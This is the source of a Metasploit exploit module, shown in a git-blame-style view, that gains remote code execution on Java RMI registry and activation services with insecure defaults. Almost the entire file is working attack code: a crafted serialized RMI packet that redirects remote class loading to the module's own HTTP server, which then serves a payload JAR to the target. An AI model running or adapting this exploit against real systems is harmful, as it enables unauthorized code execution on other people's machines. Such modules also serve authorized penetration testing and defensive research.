Files
metasploit-gs/modules/exploits/multi/misc/java_rmi_server.rb
T

197 lines
6.5 KiB
Ruby
Raw Normal View History

##
2014-10-17 11:47:33 -05:00
# This module requires Metasploit: http://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 16:28:54 -05:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
2014-11-13 18:21:19 -06:00
include Msf::Exploit::Remote::HttpServer
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Java RMI Server Insecure Default Configuration Java Code Execution',
'Description' => %q{
This module takes advantage of the default configuration of the RMI Registry and
RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it
invokes a method in the RMI Distributed Garbage Collector which is available via every
RMI endpoint, it can be used against both rmiregistry and rmid, and against most other
(custom) RMI endpoints as well.
Note that it does not work against Java Management Extension (JMX) ports since those do
not support remote class loading, unless another RMI endpoint is active in the same
Java process.
RMI method calls do not support or require any sort of authentication.
},
'Author' => [ 'mihi' ],
'License' => MSF_LICENSE,
'References' =>
[
# RMI protocol specification
[ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'],
# Placeholder reference for matching
[ 'MSF', 'java_rmi_server']
],
'DisclosureDate' => 'Oct 15 2011',
'Platform' => %w{ java linux osx solaris win },
2014-11-13 18:00:11 -06:00
'Privileged' => false,
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
'Stance' => Msf::Exploit::Stance::Aggressive,
2014-11-13 18:21:19 -06:00
'DefaultOptions' =>
{
'WfsDelay' => 10
},
2014-11-13 18:00:11 -06:00
'Targets' =>
2013-08-30 16:28:54 -05:00
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X PPC (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_PPC,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
]
],
2014-11-13 18:00:11 -06:00
'DefaultTarget' => 0
2013-08-30 16:28:54 -05:00
))
2014-11-13 18:21:19 -06:00
register_options([
Opt::RPORT(1099),
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
], self.class)
2013-08-30 16:28:54 -05:00
register_autofilter_ports([ 1098, 1099 ])
register_autofilter_services(%W{ rmi rmid java-rmi rmiregistry })
end
def exploit
2014-11-13 18:21:19 -06:00
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
# When the server stops due to our timeout, re-raise
# RuntimeError so it won't wait the full wfs_delay
raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
rescue Msf::Exploit::Failed
# When the server stops due primer failing, re-raise
# RuntimeError so it won't wait the full wfs_delays
raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}"
2014-11-14 10:53:03 -06:00
rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e
2014-11-13 22:34:17 -06:00
# When the primer fails due to an error connecting with
# the rhost, re-raise RuntimeError so it won't wait the
# full wfs_delays
raise ::RuntimeError, e.message
2014-11-13 18:21:19 -06:00
end
end
def peer
"#{rhost}:#{rport}"
end
2014-11-13 18:21:19 -06:00
def primer
2013-08-30 16:28:54 -05:00
connect
jar = rand_text_alpha(rand(8)+1) + '.jar'
old_url = "file:./rmidummy.jar"
new_url = get_uri + '/' + jar
packet = gen_rmi_packet
# Java strings in serialized data are prefixed with a 2-byte, big endian length
# (at least, as long as they are shorter than 65536 bytes)
find_me = [old_url.length].pack("n") + old_url
idx = packet.index(find_me)
len = [new_url.length].pack("n")
# Now replace it with the new url
packet[idx, find_me.length] = len + new_url
# write out minimal header and packet
2014-11-13 19:26:01 -06:00
print_status("#{peer} - Connected and sending request for #{new_url}")
2013-08-30 16:28:54 -05:00
#sock.put("JRMI" + [2].pack("n") + "K" + [0].pack("n") + [0].pack("N") + packet);
sock.put("JRMI" + [2,0x4b,0,0].pack("nCnN") + packet)
buf = ""
1.upto(6) do
res = sock.get_once(-1, 5) rescue nil
2014-11-13 18:21:19 -06:00
break unless res
2013-08-30 16:28:54 -05:00
break if session_created?
buf << res
end
2014-11-13 18:21:19 -06:00
disconnect
2013-08-30 16:28:54 -05:00
if buf =~ /RMI class loader disabled/
2014-11-13 19:26:01 -06:00
fail_with(Failure::NotVulnerable, "#{peer} - The RMI class loader is disabled")
2013-08-30 16:28:54 -05:00
end
if buf =~ /java.lang.ClassNotFoundException/
2014-11-13 19:26:01 -06:00
fail_with(Failure::Unknown, "#{peer} - The RMI class loader couldn't find the payload")
end
2014-11-13 19:26:01 -06:00
print_good("#{peer} - Target may be exploitable...")
2013-08-30 16:28:54 -05:00
end
def on_request_uri(cli, request)
if request.uri =~ /\.jar$/i
p = regenerate_payload(cli)
jar = p.encoded_jar
paths = [
[ "metasploit", "RMILoader.class" ],
[ "metasploit", "RMIPayload.class" ],
]
jar.add_files(paths, [ Msf::Config.data_directory, "java" ])
send_response(cli, jar.pack,
{
'Content-Type' => 'application/java-archive',
'Connection' => 'close',
'Pragma' => 'no-cache'
})
print_status("Replied to request for payload JAR")
2014-11-13 18:21:19 -06:00
stop_service
2013-08-30 16:28:54 -05:00
end
end
def gen_rmi_packet
"\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x02\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43\x75\x72\x00\x18\x5b\x4c\x6a" +
"\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x4f" +
"\x62\x6a\x49\x44\x3b\x87\x13\x00\xb8\xd0\x2c\x64\x7e\x02\x00\x00" +
"\x70\x78\x70\x00\x00\x00\x00\x77\x08\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x73\x72\x00\x14\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x2e" +
"\x52\x4d\x49\x4c\x6f\x61\x64\x65\x72\xa1\x65\x44\xba\x26\xf9\xc2" +
"\xf4\x02\x00\x00\x74\x00\x13\x66\x69\x6c\x65\x3a\x2e\x2f\x72\x6d" +
"\x69\x64\x75\x6d\x6d\x79\x2e\x6a\x61\x72\x78\x70\x77\x01\x00\x0a"
end
def autofilter
return true
end
end